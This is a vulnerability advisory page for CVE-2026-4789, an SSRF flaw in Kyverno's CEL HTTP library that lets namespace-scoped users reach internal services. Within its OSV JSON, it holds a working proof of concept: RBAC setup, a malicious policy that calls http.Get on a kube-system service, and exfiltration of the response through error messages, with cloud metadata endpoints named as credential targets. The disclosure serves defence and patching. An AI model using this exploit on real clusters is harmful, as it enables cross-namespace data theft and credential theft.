CVE-2026-4789: Github.com/kyverno/kyverno Kyverno Has SSRF Vulnerability
HIGHCVE-2026-4789 is a HIGH (CVSS 8.5) kyverno has ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Github.com/kyverno/kyverno libraries in the Go ecosystem. The issue involves kyverno has ssrf via cel http.get/http.post in namespacedvalidatingpolicy allows cross-namespace data access. Remediation is available by upgrading affected packages to version 1.17.0.
CVE-2026-4789 at a Glance
Security Impact
CVSS: 8.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).
How to Fix CVE-2026-4789
To remediate this vulnerability, upgrade all affected Github.com/kyverno/kyverno dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/kyverno/kyverno to 1.17.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/kyverno/kyverno
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-4789, inspect your project dependencies for Github.com/kyverno/kyverno:
inspect dependencies for github.com/kyverno/kyverno
Analyze the terminal output to locate any version of Github.com/kyverno/kyverno in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.17.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Github.com/kyverno/kyverno, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-4789 Affected Github.com/kyverno/kyverno Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/kyverno/kyverno
|
Go |
≥ 1.16.0
< 1.17.0
|
1.17.0
|
References
Frequently Asked Questions
What is CVE-2026-4789?
Which Github.com/kyverno/kyverno versions are affected?
What version fixes CVE-2026-4789?
Is github.com/kyverno/kyverno affected?
What is the CVSS score of CVE-2026-4789?
What CWE is associated with CVE-2026-4789?
How can I check Go dependencies for CVE-2026-4789?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-rggm-jjmc-3394",
"modified" : "2026-04-14T22:37:20Z",
"published" : "2026-04-14T22:37:20Z",
"aliases" : [ "CVE-2026-4789" ],
"summary" : "Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access",
"details" : "## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (`pkg/cel/libs/http/`) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages.\n\n## Affected Versions\n\n- Kyverno >= 1.16.0 (with `policies.kyverno.io` CRDs enabled, which is the default)\n- Tested on: Kyverno v1.16.2 (Helm chart 3.6.2)\n\n## Details\n\nThe `http.Get()` and `http.Post()` functions available in CEL-based policies (`policies.kyverno.io` API group) do not enforce any URL restrictions. Unlike `resource.Lib` which enforces namespace boundaries for namespaced policies, the `http.Lib` allows unrestricted access to any URL.\n\n**Vulnerable Code:** `pkg/cel/libs/http/http.go`\n```go\nfunc (r *contextImpl) Get(url string, headers map[string]string) (any, error) {\n req, err := http.NewRequestWithContext(context.TODO(), \"GET\", url, nil)\n // NO URL VALIDATION - no blocklist, no namespace restrictions\n ...\n}\n```\n\n**Contrast with resource.Lib** which enforces namespace:\n```go\n// pkg/cel/libs/resource/lib.go\nfunc Lib(namespace string, v *version.Version) cel.EnvOption {\n return cel.Lib(&lib{namespace: namespace, version: v}) // Namespace enforced\n}\n```\n\nThis is a **different code path** from previously reported issues:\n- GHSA-8p9x-46gm-qfx2: `pkg/engine/apicall/apiCall.go` (URLPath) - Fixed\n- GHSA-459x-q9hg-4gpq: `pkg/engine/apicall/executor.go` (Service.URL) - Different feature (apiCall vs CEL http)\n- **This issue**: `pkg/cel/libs/http/http.go` (CEL http.Get/http.Post) - **Not fixed**\n\n## PoC\n\nTested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind).\n\nA complete automated PoC script is attached. Manual steps below:\n\n### 1. Setup attacker with namespace-scoped permissions\n```bash\nkubectl create namespace attacker-ns\nkubectl create serviceaccount namespace-admin -n attacker-ns\n\ncat <<EOF | kubectl apply -f -\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n name: namespace-admin-role\n namespace: attacker-ns\nrules:\n - apiGroups: [\"\"]\n resources: [\"configmaps\"]\n verbs: [\"create\", \"get\", \"list\"]\n - apiGroups: [\"policies.kyverno.io\"]\n resources: [\"namespacedvalidatingpolicies\"]\n verbs: [\"create\", \"get\", \"list\"]\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n name: namespace-admin-binding\n namespace: attacker-ns\nsubjects:\n - kind: ServiceAccount\n name: namespace-admin\n namespace: attacker-ns\nroleRef:\n kind: Role\n name: namespace-admin-role\n apiGroup: rbac.authorization.k8s.io\nEOF\n```\n\n### 2. Create sensitive internal service (simulating internal API or cloud metadata)\n```bash\ncat <<EOF | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n name: internal-api\n namespace: kube-system\n labels:\n app: internal-api\nspec:\n containers:\n - name: server\n image: hashicorp/http-echo\n args:\n - \"-text={\\\"secret\\\": \\\"STOLEN_INTERNAL_SECRET_12345\\\", \\\"token\\\": \\\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\\\"}\"\n - \"-listen=:8080\"\n---\napiVersion: v1\nkind: Service\nmetadata:\n name: internal-api\n namespace: kube-system\nspec:\n selector:\n app: internal-api\n ports:\n - port: 80\n targetPort: 8080\nEOF\n```\n\n### 3. Verify attacker cannot access kube-system directly\n```bash\nkubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin\n# Output: no\n```\n\n### 4. Create malicious NamespacedValidatingPolicy (as attacker)\n```bash\ncat <<EOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f -\napiVersion: policies.kyverno.io/v1beta1\nkind: NamespacedValidatingPolicy\nmetadata:\n name: cel-ssrf-poc\n namespace: attacker-ns\nspec:\n matchConstraints:\n resourceRules:\n - apiGroups: [\"\"]\n apiVersions: [\"v1\"]\n operations: [\"CREATE\"]\n resources: [\"configmaps\"]\n variables:\n - name: stolenData\n expression: |\n http.Get('http://internal-api.kube-system.svc.cluster.local')\n validations:\n - expression: \"false\"\n message: \"Validation failed\"\n messageExpression: |\n 'SSRF_LEAKED: secret=' + variables.stolenData['secret'] + ' token=' + variables.stolenData['token']\nEOF\n```\n\n### 5. Trigger exploit and exfiltrate data\n```bash\nkubectl create configmap trigger --from-literal=x=y -n attacker-ns \\\n --as=system:serviceaccount:attacker-ns:namespace-admin\n```\n\n### 6. Result - Secret data exfiltrated\n```\nerror: failed to create configmap: admission webhook \"nvpol.validate.kyverno.svc-fail\" \ndenied the request: Policy cel-ssrf-poc failed: \nSSRF_LEAKED: secret=STOLEN_INTERNAL_SECRET_12345 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\n```\n\n## Impact\n\n1. **Cross-namespace data access**: Users with only namespace-scoped permissions can access services in any namespace\n2. **Cloud credential theft**: Access to `http://169.254.169.254/...` allows stealing AWS/GCP/Azure IAM credentials\n3. **Data exfiltration**: HTTP response data exposed via validation error messages or audit annotations\n4. **Breaks namespace isolation**: Inconsistent with Kyverno's security model where `resource.Lib` enforces namespace boundaries\n\n## Affected Policies\n\nAll CEL-based namespaced policies in `policies.kyverno.io` API group:\n- `NamespacedValidatingPolicy`\n- `NamespacedMutatingPolicy` \n- `NamespacedDeletingPolicy`\n- `NamespacedImageValidatingPolicy`\n\n## Suggested Fix\n\nAdd namespace and URL restrictions to `pkg/cel/libs/http/http.go`, similar to how `resource.Lib` enforces namespace boundaries:\n```go\ntype lib struct {\n namespace string // Add namespace parameter\n version *version.Version\n}\n\nfunc (r *contextImpl) Get(url string, headers map[string]string) (any, error) {\n if err := r.validateURL(url); err != nil {\n return nil, fmt.Errorf(\"blocked URL: %w\", err)\n }\n // ... existing code\n}\n\nfunc (r *contextImpl) validateURL(urlStr string) error {\n // Block cloud metadata (169.254.0.0/16)\n // Block localhost/loopback (127.0.0.0/8)\n // For namespaced policies: restrict to same namespace services only\n}\n```\n\nAttached \n[kyverno-cel-ssrf-poc.sh](https://github.com/user-attachments/files/24940825/kyverno-cel-ssrf-poc.sh)\n\n\n## Credit\n\nDiscovered by: Igor Stepansky\nOrganization: Orca Security\nEmail: igor.stepansky@orca.security\nPersonal Email: stepanskyigor@gmail.com",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/kyverno/kyverno"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.16.0"
}, {
"fixed" : "1.17.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/kyverno/kyverno/security/advisories/GHSA-rggm-jjmc-3394"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-4789"
}, {
"type" : "WEB",
"url" : "https://github.com/kyverno/kyverno/pull/15729"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/kyverno/kyverno"
}, {
"type" : "WEB",
"url" : "https://www.kb.cert.org/vuls/id/655822"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-14T22:37:20Z",
"nvd_published_at" : null
}
}